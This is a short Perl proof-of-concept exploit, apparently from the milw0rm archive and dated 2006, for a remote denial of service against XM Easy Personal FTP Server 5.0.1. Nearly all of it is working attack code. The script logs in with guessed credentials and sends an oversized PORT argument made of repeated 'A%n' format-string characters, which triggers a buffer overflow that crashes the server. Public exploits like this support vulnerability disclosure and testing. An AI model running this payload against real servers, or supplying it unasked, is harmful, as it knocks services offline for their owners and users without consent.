XM Easy Personal FTP Server 5.0.1 - 'Port' Remote Overflow (PoC)

#!/usr/bin/perl

# -----------------------------------------------------------
# Name        : XM Easy Personal FTP Server
# Version     : 5.0.1
# -----------------------------------------------------------
# Type        : dos / remote
# Multiple buffer overflows
# Port and multiple commands with A%n, ...
# -----------------------------------------------------------
# Jerome Athias - https://www.securinfos.info
# -----------------------------------------------------------

use Net::FTP;

$host = @ARGV[0];

if ($host)
{
   print "\n- XM Easy Personal FTP Server 5.0.1 - PoC DoS Exploit\n-
Jerome Athias\nhttps://www.securinfos.info";
   $ftp = Net::FTP->new($host, Debug => 0);
   $ftp->login('test','test'); #Maybe anonymous works ;-)
   $ftp->port("\x41\x25\x6E"x9999);
}
else {
   print "\n- XM Easy Personal FTP Server 5.0.1 - PoC DoS Exploit\n-
Jerome Athias\nhttps://www.securinfos.info\n\n- Usage: $0 host\n";
}

# milw0rm.com [2006-06-24]